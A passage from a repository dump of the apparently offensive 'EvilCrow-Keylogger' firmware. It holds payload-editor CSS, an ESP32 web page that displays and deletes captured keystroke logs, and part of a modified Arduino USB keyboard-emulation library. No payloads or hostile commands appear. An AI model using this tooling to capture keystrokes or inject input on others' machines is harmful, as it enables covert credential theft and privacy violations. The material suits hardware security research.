50%;\n    margin-left: 12px;\n    vertical-align: middle;\n}\n\n.rf-logo.online::after {\n    background-color: var(--success);\n    box-shadow: 0 0 6px var(--success);\n}\n\n.rf-logo.offline::after {\n    background-color: var(--error);\n    box-shadow: 0 0 6px var(--error);\n}\n\n@supports (-webkit-touch-callout: none) {\n  .rf-logo {\n    -webkit-text-stroke: 0.45px transparent; /* Safari anti-flicker hack */\n  }\n}\n\n@media (max-width: 480px) {\n    .select-os-btn {\n      width: 100px;\n      min-width: 100px;\n      max-width: 100px;\n      padding: 6px 4px;\n      font-size: 11px;\n    }\n}\n\n.payload-list-container {\n  display: grid;\n  grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));\n  gap: 15px; /* Increased gap */\n  margin: 15px 0;\n  position: relative;\n  z-index: 1;\n}\n\n.button-container button, .button-container-os button {\n  width: 100%;\n}\n\n.stat-group {\n  flex: 1 1 100%;\n}\n\n#validationStatus {\n    font-size: 0.7em;\n    display: inline-block;\n    vertical-align: middle;\n}\n\n@media (max-width: 480px) {\n    #validationStatus {\n        font-size: 0.6em;  /* Even smaller on mobile */\n    }\n}\n\n.validation-ok {\n    color: var(--success);\n}\n\n.validation-error {\n    color: var(--error);\n}\n\n.payload-editor-container {\n    display: flex;\n    position: relative;\n    height: 20em;\n    background-color: rgba(10, 10, 10, 0.9);\n    border: 1px solid var(--primary);\n    border-radius: 3px;\n    overflow: hidden;\n}\n\n.payload-editor-container {\n    display: flex;\n    position: relative;\n    height: 20em;\n    background-color: rgba(10, 10, 10, 0.9);\n    border: 1px solid var(--primary);\n    border-radius: 3px;\n    overflow: hidden;\n}\n\n.line-numbers {\n    width: 30px;\n    padding: 12px 5px 5px 10px;\n    background-color: rgba(5, 5, 8, 0.7);\n    color: #666;\n    font-family: 'Courier New', monospace;\n    font-size: 0.8em;\n    text-align: right;\n    user-select: none;\n    overflow-y: scroll;\n    -ms-overflow-style: none;\n    scrollbar-width: none;\n    border: none;\n    line-height: 22px;\n    height: 100%;\n    box-sizing: border-box;\n}\n\n#livePayloadInput {\n    flex: 1;\n    border: none;\n    border-radius: 0 3px 3px 0;\n    padding: 12px;\n    background-color: transparent;\n    color: var(--secondary);\n    line-height: 22px;\n    resize: none;\n    white-space: pre;\n    overflow-x: auto;\n    overflow-y: auto;\n    height: 100%;\n    box-sizing: border-box;\n    font-family: 'Courier New', monospace;\n    font-size: 0.95em;\n}\n\n/* Mobile styles remain exactly the same */\n@media (max-width: 768px) {\n    .payload-list-container {\n      transition: filter 0.3s ease;\n    }\n    .modal-open .payload-list-container {\n      filter: blur(2px);\n      opacity: 0.7;\n    }\n    .payload-editor-container {\n        height: 15em;\n    }\n    \n    .line-numbers, #livePayloadInput {\n        font-size: 14px;\n        line-height: 1.4em;\n    }\n    \n    .line-numbers {\n        width: 25px;\n        padding: 12px 3px 8px 5px;\n    }\n}\n\n.line-numbers::-webkit-scrollbar {\n    display: none;\n}\n\n.autocomplete-suggestion {\n    position: absolute;\n    color: var(--primary);\n    pointer-events: none;\n    font-family: 'Courier New', monospace;\n    background-color: rgba(0, 0, 0, 0.9);\n    padding: 2px 6px;\n    border-radius: 3px;\n    border: 1px solid var(--secondary);\n    box-shadow: 0 0 5px rgba(0, 242, 255, 0.5);\n    z-index: 1000;\n    white-space: pre;\n    font-weight: bold;\n}\n\n/* Command Reference Styles */\n.command-reference, .keys-reference {\n    background: rgba(10, 10, 18, 0.8);\n    border: 1px solid var(--primary);\n    border-radius: 5px;\n    margin: 20px 0;\n    overflow: hidden;\n}\n\n.command-reference-toggle, .keys-reference-toggle {\n    padding: 15px;\n    cursor: pointer;\n    background: rgba(0, 0, 0, 0.3);\n    color: var(--primary);\n    font-weight: bold;\n    display: flex;\n    justify-content: space-between;\n    align-items: center;\n}\n\n.command-reference-toggle:hover, .keys-reference-toggle:hover {\n    background: rgba(0, 242, 255, 0.1);\n}\n\n.command-table-container, .keys-table-container {\n    padding: 0 15px 15px;\n    max-height: 300px;\n    overflow-y: auto;\n}\n\n/* OS selector*/\n.styled-select {\n  background-color: rgba(10, 10, 10, 0.9);\n  border: 1px solid var(--primary);\n  color: var(--light);\n  padding: 8px 12px;\n  border-radius: 3px;\n  width: 100%;\n  font-family: 'Courier New', monospace;\n  font-size: 16px;\n  margin-bottom: 12px;\n  transition: all 0.3s;\n  box-sizing: border-box;\n\n  /* Eliminar apariencia nativa */\n  appearance: none;\n  -webkit-appearance: none;\n  -moz-appearance: none;\n\n  /* Ícono de flecha */\n  background-image: url(\"data:image/svg+xml,%3Csvg fill='%2300f2ff' height='24' viewBox='0 0 24 24' width='24' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M7 10l5 5 5-5z'/%3E%3C/svg%3E\");\n  background-repeat: no-repeat;\n  background-position: right 12px center;\n  background-size: 16px 16px;\n  padding-right: 36px; /* Espacio para flecha */\n}\n\n.styled-select:focus {\n  outline: none;\n  border-color: var(--secondary);\n  box-shadow: 0 0 10px rgba(0, 255, 136, 0.3);\n}\n\n.section-header {\n  font-size: 1.2em;\n  color: var(--primary);\n  margin: 20px 0 10px 0;\n  padding-bottom: 5px;\n  border-bottom: none;\n  position: relative;\n  text-transform: uppercase;\n  letter-spacing: 1px;\n  font-weight: bold;\n}\n\n.section-header::after {\n  content: '';\n  position: absolute;\n  bottom: 0;\n  left: 0;\n  width: 100%;\n  height: 1px;\n  background: linear-gradient(90deg, transparent, var(--primary), transparent);\n}\n\n.page-loading::before {\n    content: \"\";\n    position: fixed;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    background: rgba(5, 5, 8, 0.9);\n    z-index: 9999;\n    -webkit-backdrop-filter: blur(2px);\n    backdrop-filter: blur(2px);\n}\n\n.page-loading::after {\n    content: \"LOADING...\";\n    position: fixed;\n    top: 50%;\n    left: 50%;\n    transform: translate(-50%, -50%);\n    color: var(--primary);\n    font-family: 'Courier New', monospace;\n    font-size: 1.2em;\n    font-weight: bold;\n    text-transform: uppercase;\n    letter-spacing: 2px;\n    text-shadow: 0 0 8px var(--primary);\n    z-index: 10000;\n    animation: pulse 1.5s infinite alternate;\n}\n\n@keyframes pulse {\n    from { opacity: 0.7; text-shadow: 0 0 5px var(--primary); }\n    to { opacity: 1; text-shadow: 0 0 15px var(--primary), 0 0 20px var(--secondary); }\n}\n/* iOS-specific touch improvements */\n@media (hover: none) and (pointer: coarse) {\n    #menu a {\n        -webkit-tap-highlight-color: transparent;\n        touch-action: manipulation;\n    }\n\n    body {\n        -webkit-overflow-scrolling: touch;\n    }\n}\n)=====\";"
  },
  {
    "path": "code/ESP32/viewlog.h",
    "content": "const char ViewLog[] PROGMEM = R\"=====(\n<!DOCTYPE HTML>\n<html>\n<head>\n    <title>EvilCrow-Keylogger</title>\n    <meta charset=\"utf-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"stylesheet\" href=\"style.css\">\n    <script src=\"javascript.js\"></script>\n    <style>\n        .view-container {\n            margin: 20px auto;\n            max-width: 900px;\n        }\n\n        .logo-with-status {\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            gap: 10px;\n        }\n\n        #logsContainer {\n            width: 100%;\n            height: 60vh;\n            background-color: rgba(0,0,0,0.8);\n            color: var(--secondary, #00f2ff);\n            border: 1px solid var(--primary, #00f2ff);\n            border-radius: 5px;\n            padding: 10px;\n            overflow: auto;\n            font-family: monospace;\n            white-space: pre-wrap;\n            word-wrap: break-word;\n            scrollbar-width: thin; \n            scrollbar-color: var(--primary, #00f2ff) rgba(0,0,0,0.5);\n        }\n\n        #logsContainer::-webkit-scrollbar {\n            width: 8px;\n            height: 8px;\n        }\n\n        #logsContainer::-webkit-scrollbar-track {\n            background: rgba(0,0,0,0.5);\n            border-radius: 4px;\n        }\n\n        #logsContainer::-webkit-scrollbar-thumb {\n            background-color: var(--primary, #00f2ff);\n            border-radius: 4px;\n            border: 2px solid rgba(0,0,0,0.5);\n        }\n\n        .button-container {\n            display: flex;\n            justify-content: flex-start;\n            gap: 10px;\n            margin-top: 10px;\n        }\n\n        .button-container button {\n            padding: 10px 20px;\n            font-size: 1em;\n            border: none;\n            border-radius: 5px;\n            background: linear-gradient(135deg, var(--error, #cc0022), #ff4444);\n            color: #fff;\n            cursor: pointer;\n        }\n\n        .button-container button:hover {\n            opacity: 0.85;\n        }\n    </style>\n</head>\n<body>\n    <div id=\"global-toast\" class=\"toast-container\"></div>\n\n    <nav id=\"menu\">\n        <input type=\"checkbox\" id=\"responsive-menu\">\n        <label for=\"responsive-menu\"></label>\n        <ul>\n            <li><a href=\"/\">Home</a></li>\n            <li><a href=\"/viewlog\">Log Viewer</a></li>\n            <li><a href=\"/config\">Config</a></li>\n        </ul>\n    </nav>\n\n    <div class=\"logo-with-status\">\n        <div class=\"keylogger-logo\">Log Viewer</div>\n        <span class=\"status-indicator status-offline\"></span>\n    </div>\n\n    <div class=\"view-container\">\n        <div id=\"logsContainer\">\n            <div id=\"logsText\">Loading log...</div>\n        </div>\n\n        <div class=\"button-container\">\n            <button type=\"button\" onclick=\"deleteLog()\">Delete Log</button>\n        </div>\n    </div>\n\n    <script>\n        async function loadLogs() {\n            try {\n                const response = await fetch('/logs');\n                if (!response.ok) throw new Error('Failed to fetch logs');\n                const text = await response.text();\n                const container = document.getElementById('logsContainer');\n                const logsText = document.getElementById('logsText');\n                const selection = window.getSelection();\n                const selectedText = selection.toString();\n                if (logsText.textContent !== text) {\n                    logsText.textContent = text;\n                    container.scrollTop = container.scrollHeight;\n                    if (selectedText) {\n                        const range = document.createRange();\n                        range.selectNodeContents(logsText);\n                        selection.removeAllRanges();\n                        selection.addRange(range);\n                    }\n                }\n            } catch (error) {\n                document.getElementById('logsText').textContent = 'Error loading logs: ' + error;\n                console.error(error);\n            }\n        }\n\n        function deleteLog() {\n            if (!confirm(\"Are you sure you want to delete the log?\")) return;\n\n            fetch('/delete', { method: 'POST' })\n                .then(response => {\n                    if (!response.ok) throw new Error('Failed to delete log');\n                    showMessage('success', 'Log deleted successfully');\n                    document.getElementById('logsText').textContent = '';\n                })\n                .catch(error => {\n                    showMessage('error', 'Error deleting log');\n                    console.error(error);\n                });\n        }\n\n        function showMessage(type, text) {\n            const container = document.getElementById('global-toast');\n            const toast = document.createElement('div');\n            toast.className = `toast-message ${type}`;\n            toast.textContent = text;\n            container.appendChild(toast);\n            setTimeout(() => toast.remove(), 4000);\n        }\n\n        function checkConnection() {\n            fetch('/connectioncheck')\n                .then(response => response.json())\n                .then(data => {\n                    const indicator = document.querySelector('.status-indicator');\n                    if (indicator) {\n                        indicator.classList.remove('status-offline', 'status-online');\n                        if (data.status === 'ok') {\n                            indicator.classList.add('status-online');\n                        } else {\n                            indicator.classList.add('status-offline');\n                        }\n                    }\n                })\n                .catch(error => {\n                    const indicator = document.querySelector('.status-indicator');\n                    if (indicator) {\n                        indicator.classList.remove('status-offline', 'status-online');\n                        indicator.classList.add('status-offline');\n                    }\n                });\n        }\n\n        document.addEventListener('DOMContentLoaded', () => {\n            loadLogs();\n            setInterval(loadLogs, 5000);\n            \n            checkConnection();\n            setInterval(checkConnection, 5000);\n            \n            const menuLinks = document.querySelectorAll('#menu a');\n            const responsiveMenu = document.getElementById('responsive-menu');\n            menuLinks.forEach(link => {\n                link.addEventListener('click', function() {\n                    if (window.innerWidth < 768) {\n                        responsiveMenu.checked = false;\n                    }\n                });\n            });\n        });\n    </script>\n</body>\n</html>\n)=====\";\n"
  },
  {
    "path": "libraries/Keyboard/Readme.md",
    "content": "Arduino Keyboard library with multiple layout support\r\n=====================================================\r\n \r\nBased on Arduino Keyboard library 1.0.1\r\n\r\nThis library allows an Arduino board with USB capabilites to act as a Keyboard.\r\n\r\nFor more information about this library please visit http://www.arduino.cc/en/Reference/Keyboard\r\n\r\nModified by Ernesto Sanchez to support multiple keyboard layout \r\n\r\nSupported layouts:\r\n* be_be\r\n* cz_cz\r\n* da_dk\r\n* de_de\r\n* en_us (default)\r\n* es_es\r\n* fi_fi\r\n* fr_fr\r\n* it_it\r\n* pt_pt\r\n* tr_tr\r\n\r\n__NOTE:__ Only en_us and es_es are tested at june 2017. \r\n\r\nDownload and installation\r\n=========================\r\n- Click \"Clone or download\" -> \"Download ZIP\"\r\n- Unzip downloaded file in Arduino/libraries/ directory\r\n\r\nUse\r\n===\r\nTo configure the keyboard layout it just add #define kbd_lang after #include <Keyboard.h>\r\n\r\nExample:\r\n```\r\n#define kbd_es_es\r\n#include <Keyboard.h>\r\n```\r\n\r\nYou can use:\r\n* kbd_be_be\r\n* kbd_cz_cz\r\n* kbd_da_dk\r\n* kbd_de_de\r\n* kbd_en_us\r\n* kbd_es_es\r\n* kbd_fi_fi\r\n* kbd_fr_fr\r\n* kbd_it_it\r\n* kbd_pt_pt\r\n* kbd_tr_tr\r\n\r\nIf none is especified en_us is used by default.\r\n\r\nVersion History\r\n===============\r\n```\r\n(Date format: DD/MM/YYYY)\r\n* 8/7/2017  Fix backslash problem in es_es.h\r\n* 14/6/2017 First commit\r\n\r\n```\r\n\r\nTO DO\r\n=====\r\n- Test all layouts\r\n- Implement a solution for extended ascii characters\r\n\r\n\r\nContact\r\n=======\r\nOpen an issue, ask me on twitter to [@ernesto_xload](http://www.twitter.com/ernesto_xload/) or visit www.sanchezpano.info\r\n"
  },
  {
    "path": "libraries/Keyboard/keywords.txt",
    "content": "#######################################\n# Syntax Coloring Map For Keyboard\n#######################################\n\n#######################################\n# Datatypes (KEYWORD1)\n#######################################\n\nKeyboard\tKEYWORD1\n\n#######################################\n# Methods and Functions (KEYWORD2)\n#######################################\n\nbegin\tKEYWORD2\nwrite\tKEYWORD2\npress\tKEYWORD2\nrelease\tKEYWORD2\nreleaseAll\tKEYWORD2\n\n#######################################\n# Constants (LITERAL1)\n#######################################\n\n"
  },
  {
    "path": "libraries/Keyboard/library.properties",
    "content": "name=Keyboard\nversion=1.0.1\nauthor=Arduino\nmaintainer=Ernesto Sanchez\nsentence=Allows an Arduino/Genuino board with USB capabilites to act as a Keyboard.\nparagraph=This library plugs on the HID library. It can be used with or without other HID-based libraries (Mouse, Gamepad etc) Modified by Ernesto Sanchez to add keyboard layout support\ncategory=Device Control\nurl=http://www.arduino.cc/en/Reference/Keyboard\narchitectures=*\n"
  },
  {
    "path": "libraries/Keyboard/src/Keyboard.cpp",
    "content": "/*\n  Keyboard.cpp\n\n  Copyright (c) 2015, Arduino LLC\n  Original code (pre-library): Copyright (c) 2011, Peter Barrett\n\n  This library is free software; you can redistribute it and/or\n  modify it under the terms of the GNU Lesser General Public\n  License as published by the Free Software Foundation; either\n  version 2.1 of the License, or (at your option) any later version.\n\n  This library is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n  Lesser General Public License for more details.\n\n  You should have received a copy of the GNU Lesser General Public\n  License along with this library; if not, write to the Free Software\n  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n*/\n\n#include \"Keyboard.h\"\n\n#if defined(_USING_HID)\n\n#define kbd_en_us\n\n/*\n#define kbd_es_es\n*/\n\n#ifdef kbd_be_be\n#include \"be_be.h\"\n#endif\n#ifdef kbd_cz_cz\n#include \"cz_cz.h\"\n#endif\n#ifdef kbd_da_dk\n#include \"da_dk.h\"\n#endif\n#ifdef kbd_de_de\n#include \"de_de.h\"\n#endif\n#ifdef kbd_es_es\n#include \"es_es.h\"\n#endif\n#ifdef kbd_fi_fi\n#include \"fi_fi.h\"\n#endif\n#ifdef kbd_fr_fr\n#include \"fr_fr.h\"\n#endif\n#ifdef kbd_it_it\n#include \"it_it.h\"\n#endif\n#ifdef kbd_pt_pt\n#include \"pt_pt.h\"\n#endif\n#ifdef kbd_tr_tr\n#include \"tr_tr.h\"\n#endif\n#ifndef _kbd_lang\n#include \"en_us.h\"\n#endif\n\n\n\n//================================================================================\n//================================================================================\n//\tKeyboard\n\nstatic const uint8_t _hidReportDescriptor[] PROGMEM = {\n\n  //  Keyboard\n    0x05, 0x01,                    // USAGE_PAGE (Generic Desktop)  // 47\n    0x09, 0x06,                    // USAGE (Keyboard)\n    0xa1, 0x01,                    // COLLECTION (Application)\n    0x85, 0x02,                    //   REPORT_ID (2)\n    0x05, 0x07,                    //   USAGE_PAGE (Keyboard)\n   \n  0x19, 0xe0,                    //   USAGE_MINIMUM (Keyboard LeftControl)\n    0x29, 0xe7,                    //   USAGE_MAXIMUM (Keyboard Right GUI)\n    0x15, 0x00,                    //   LOGICAL_MINIMUM (0)\n    0x25, 0x01,                    //   LOGICAL_MAXIMUM (1)\n    0x75, 0x01,                    //   REPORT_SIZE (1)\n    \n  0x95, 0x08,                    //   REPORT_COUNT (8)\n    0x81, 0x02,                    //   INPUT (Data,Var,Abs)\n    0x95, 0x01,                    //   REPORT_COUNT (1)\n    0x75, 0x08,                    //   REPORT_SIZE (8)\n    0x81, 0x03,                    //   INPUT (Cnst,Var,Abs)\n    \n  0x95, 0x06,                    //   REPORT_COUNT (6)\n    0x75, 0x08,                    //   REPORT_SIZE (8)\n    0x15, 0x00,                    //   LOGICAL_MINIMUM (0)\n    0x25, 0x65,                    //   LOGICAL_MAXIMUM (101)\n    0x05, 0x07,                    //   USAGE_PAGE (Keyboard)\n    \n  0x19, 0x00,                    //   USAGE_MINIMUM (Reserved (no event indicated))\n    0x29, 0x65,                    //   USAGE_MAXIMUM (Keyboard Application)\n    0x81, 0x00,                    //   INPUT (Data,Ary,Abs)\n    0xc0,                          // END_COLLECTION\n};\n\nKeyboard_::Keyboard_(void) \n{\n\tstatic HIDSubDescriptor node(_hidReportDescriptor, sizeof(_hidReportDescriptor));\n\tHID().AppendDescriptor(&node);\n}\n\nvoid Keyboard_::begin(void)\n{\n}\n\nvoid Keyboard_::end(void)\n{\n}\n\nvoid Keyboard_::sendReport(KeyReport* keys)\n{\n\tHID().SendReport(2,keys,sizeof(KeyReport));\n}\n\n/*\nextern\nconst uint8_t _asciimap[256] PROGMEM;\n\n#define SHIFT 0x80\n#define ALTGR 0x40\nconst uint8_t _asciimap[256] =\n{\n  0x00,             // NUL\n  0x00,             // SOH\n  0x00,             // STX\n  0x00,             // ETX\n  0x00,             // EOT\n  0x00,             // ENQ\n  0x00,             // ACK\n  0x00,             // BEL\n  0x2a,      // BS  Backspace\n  0x2b,      // TAB  Tab\n  0x28,      // LF  Enter\n  0x00,             // VT\n  0x00,             // FF\n  0x00,             // CR\n  0x00,             // SO\n  0x00,             // SI\n  0x00,             // DEL\n  0x00,             // DC1\n  0x00,             // DC2\n  0x00,             // DC3\n  0x00,             // DC4\n  0x00,             // NAK\n  0x00,             // SYN\n  0x00,             // ETB\n  0x00,             // CAN\n  0x00,             // EM\n  0x00,             // SUB\n  0x00,             // ESC\n  0x00,             // FS\n  0x00,             // GS\n  0x00,             // RS\n  0x00,             // US\n  0x2c,          //  ' ' (space)\n  0x1e|SHIFT,    // !\n  0x1f|SHIFT,    // \"\n  0x20|ALTGR,    // #\n  0x21|SHIFT,    // $\n  0x22|SHIFT,    // %\n  0x23|SHIFT,    // &\n  0x2d,          // '\n  0x25|SHIFT,    // (\n  0x26|SHIFT,    // )\n  0x30|SHIFT,    // *\n  0x30,          // +\n  0x36,          // ,\n  0x38,          // -\n  0x37,          // .\n  0x24|SHIFT,    // /\n  0x27,          // 0\n  0x1e,          // 1\n  0x1f,          // 2\n  0x20,          // 3\n  0x21,          // 4\n  0x22,          // 5\n  0x23,          // 6\n  0x24,          // 7\n  0x25,          // 8\n  0x26,          // 9\n  0x37|SHIFT,      // :\n  0x36|SHIFT,      // ;\n  0x03,            // < //KEY_NON_US_100\n  0x27|SHIFT,      // =\n  0x03|SHIFT,      // > //KEY_NON_US_100 + SHIFT\n  0x2d|SHIFT,      // ?\n  0x1f|ALTGR,      // @\n  0x04|SHIFT,      // A\n  0x05|SHIFT,      // B\n  0x06|SHIFT,      // C\n  0x07|SHIFT,      // D\n  0x08|SHIFT,      // E\n  0x09|SHIFT,      // F\n  0x0a|SHIFT,      // G\n  0x0b|SHIFT,      // H\n  0x0c|SHIFT,      // I\n  0x0d|SHIFT,      // J\n  0x0e|SHIFT,      // K\n  0x0f|SHIFT,      // L\n  0x10|SHIFT,      // M\n  0x11|SHIFT,      // N\n  0x12|SHIFT,      // O\n  0x13|SHIFT,      // P\n  0x14|SHIFT,      // Q\n  0x15|SHIFT,      // R\n  0x16|SHIFT,      // S\n  0x17|SHIFT,      // T\n  0x18|SHIFT,      // U\n  0x19|SHIFT,      // V\n  0x1a|SHIFT,      // W\n  0x1b|SHIFT,      // X\n  0x1c|SHIFT,      // Y\n  0x1d|SHIFT,      // Z\n  0x2f|ALTGR,      // [\n  0x35,          // bslash\n  0x30|ALTGR,      // ]\n  0x2f|SHIFT,    // ^\n  0x38|SHIFT,    // _\n  0x2f, \t // `\n  0x04,          // a\n  0x05,          // b\n  0x06,          // c\n  0x07,          // d\n  0x08,          // e\n  0x09,          // f\n  0x0a,          // g\n  0x0b,          // h\n  0x0c,          // i\n  0x0d,          // j\n  0x0e,          // k\n  0x0f,          // l\n  0x10,          // m\n  0x11,          // n\n  0x12,          // o\n  0x13,          // p\n  0x14,          // q\n  0x15,          // r\n  0x16,          // s\n  0x17,          // t\n  0x18,          // u\n  0x19,          // v\n  0x1a,          // w\n  0x1b,          // x\n  0x1c,          // y\n  0x1d,          // z\n  0x34|ALTGR,    // {\n  0x1e|ALTGR,    // |\n  0x32|ALTGR,    // }\n  0x21|ALTGR,    // ~\n  0x00,        // DEL\n  0x00,             // Ç Start extended ASCII\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,             // ç\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x33,             // ñ\n  0x33|SHIFT,       // Ñ\n  0x00,\n  0x00,\n  0x2e|SHIFT,       // ¿\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x2e,             // ¡\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n\n};\n\n\n\n// Init var         \nbool _altGrMap[128];\nbool _altFine = false;\n\n// Individually define all needed char\nvoid initAltGr() {\n  _altFine = true;\n\n  _altGrMap[126] = true; // ~\n  _altGrMap[123] = true; // {\n  _altGrMap[91] = true;  // [\n  _altGrMap[93] = true;  // ]\n  _altGrMap[125] = true; // }\n  _altGrMap[92] = true;  // bslash\n  _altGrMap[124] = true; // |\n  _altGrMap[64] = true;  // @\n  _altGrMap[35] = true; // #\n}*/\n\n\n\nuint8_t USBPutChar(uint8_t c);\n\n// press() adds the specified key (printing, non-printing, or modifier)\n// to the persistent key report and sends the report.  Because of the way \n// USB HID works, the host acts like the key remains pressed until we \n// call release(), releaseAll(), or otherwise clear the report and resend.\nsize_t Keyboard_::press(uint8_t k) \n{\n\tuint8_t i;\n\n\tif(k>=0xB0 && k<=0xDA){\t\t\t//it's a non-printing key\n\t\tif(k>=0xB5 && k<=0xBE){\t\t//0xB5-0xBE reserved for special non printing keys asigned manually\n\t\t\tif(k==0xB5) k=0x65;\t//0xB5 ==> 0x76 (MENU key)\n\t\t\tif(k==0xB6) k=0x46;\t//0xB6 ==> 0x46 (PRINT Screen key)\n\t\t}\n\t\telse{\n\t\t\tk = k - 136;\n\t\t}\n\t}\n\telse {\n\tif(k>=0x80 && k<=0x87){\t\t\t//it's a modifier\n\t\t_keyReport.modifiers |= (1<<(k-128));\n\t\tk = 0;\n\t}\n\telse{\t\t\t\t\t//it's a printable key\n\n\tk = pgm_read_byte(_asciimap + k);\n\n\tif (k & 0x80) {\t\t\t\t// it's a capital letter or other character reached with shift\n\t\t_keyReport.modifiers |= 0x02;\t// the left shift modifier\n\t\tk &= 0x7F;\n\t}\n\tif (k & 0x40) {\t\t\t\t// altgr modifier (RIGHT_ALT)\n\t\t_keyReport.modifiers |= 0x40;\t// the left shift modifier\n\t\tk &= 0x3F;\n\t}\n\tif (k == 0x03) { // special case 0x64\n\t\tk = 0x64;\n\t}\n\t}\n\t}\n\n\t// Add k to the key report only if it's not already present\n\t// and if there is an empty slot.\n\tif (_keyReport.keys[0] != k && _keyReport.keys[1] != k &&\n\t\t_keyReport.keys[2] != k && _keyReport.keys[3] != k &&\n\t\t_keyReport.keys[4] != k && _keyReport.keys[5] != k) {\n\t\t\n\t\tfor (i=0; i<6; i++) {\n\t\t\tif (_keyReport.keys[i] == 0x00) {\n\t\t\t\t_keyReport.keys[i] = k;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (i == 6) {\n\t\t\tsetWriteError();\n\t\t\treturn 0;\n\t\t}\t\n\t}\n\tsendReport(&_keyReport);\n\treturn 1;\n}\n\n\n// Joel\nsize_t Keyboard_::rawpress(uint8_t k, uint8_t rawmodifiers) //\n{\n\tuint8_t i;\n\n/*\n\tif(k>=0xB0 && k<=0xDA){\t\t\t//it's a non-printing key\n\t\tif(k>=0xB5 && k<=0xBE){\t\t//0xB5-0xBE reserved for special non printing keys asigned manually\n\t\t\tif(k==0xB5) k=0x65;\t//0xB5 ==> 0x76 (MENU key)\n\t\t\tif(k==0xB6) k=0x46;\t//0xB6 ==> 0x46 (PRINT Screen key)\n\t\t}\n\t\telse{\n\t\t\tk = k - 136;\n\t\t}\n\t}\n\telse {\n\tif(k>=0x80 && k<=0x87){\t\t\t//it's a modifier\n\t\t_keyReport.modifiers |= (1<<(k-128));\n\t\tk = 0;\n\t}\n\telse{\t\t\t\t\t//it's a printable key\n\n\tk = pgm_read_byte(_asciimap + k);\n\n\tif (k & 0x80) {\t\t\t\t// it's a capital letter or other character reached with shift\n\t\t_keyReport.modifiers |= 0x02;\t// the left shift modifier\n\t\tk &= 0x7F;\n\t}\n\tif (k & 0x40) {\t\t\t\t// altgr modifier (RIGHT_ALT)\n\t\t_keyReport.modifiers |= 0x40;\t// the left shift modifier\n\t\tk &= 0x3F;\n\t}\n\tif (k == 0x03) { // special case 0x64\n\t\tk = 0x64;\n\t}\n\t}\n\t}\n*/\n\t// Add k to the key report only if it's not already present\n\t// and if there is an empty slot.\n\n\t_keyReport.modifiers = rawmodifiers;\t\n\n\tif (_keyReport.keys[0] != k && _keyReport.keys[1] != k &&\n\t\t_keyReport.keys[2] != k && _keyReport.keys[3] != k &&\n\t\t_keyReport.keys[4] != k && _keyReport.keys[5] != k) {\n\t\t\n\t\tfor (i=0; i<6; i++) {\n\t\t\tif (_keyReport.keys[i] == 0x00) {\n\t\t\t\t_keyReport.keys[i] = k;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (i == 6) {\n\t\t\tsetWriteError();\n\t\t\treturn 0;\n\t\t}\t\n\t}\n\tsendReport(&_keyReport);\n\treturn 1;\n}\n\n// release() takes the specified key out of the persistent key report and\n// sends the report.  This tells the OS the key is no longer pressed and that\n// it shouldn't be repeated any more.\nsize_t Keyboard_::release(uint8_t k)\n{\n\tuint8_t i;\n\n\tif(k>=0xB0 && k<=0xDA){\t\t\t//it's a non-printing key\n\t\tif(k>=0xB5 && k<=0xBE){\t\t//0xB5-0xBE reserved for special non printing keys asigned manually\n\t\t\tif(k==0xB5) k=0x65;\t//0xB5 ==> 0x76 (MENU key)\n\t\t\tif(k==0xB6) k=0x46;\t//0xB6 ==> 0x46 (PRINT Scr key)\n\t\t}\n\t\telse{\n\t\t\tk = k - 136;\n\t\t}\n\t}\n\telse {\n\tif(k>=0x80 && k<=0x87){\t\t\t//it's a modifier\n\t\t_keyReport.modifiers &= ~(1<<(k-128));\n\t\tk = 0;\n\t}\n\telse{\t\t\t\t\t//it's a printable key\n\n\tk = pgm_read_byte(_asciimap + k);\n\n\tif (k & 0x80) {\t\t\t\t\t// it's a capital letter or other character reached with shift\n\t\t_keyReport.modifiers &= ~(0x02);\t// the left shift modifier\n\t\tk &= 0x7F;\n\t}\n\tif (k & 0x40) {\n\t\t_keyReport.modifiers &= ~(0x40);       // the altgr shift modifier\n\t\tk &= 0x3F;\n\t}\n\tif (k == 0x03) { // special case 0x64\n\t\tk = 0x64;\n\t}\n\n\tif (k >= 136) {\t\t\t// it's 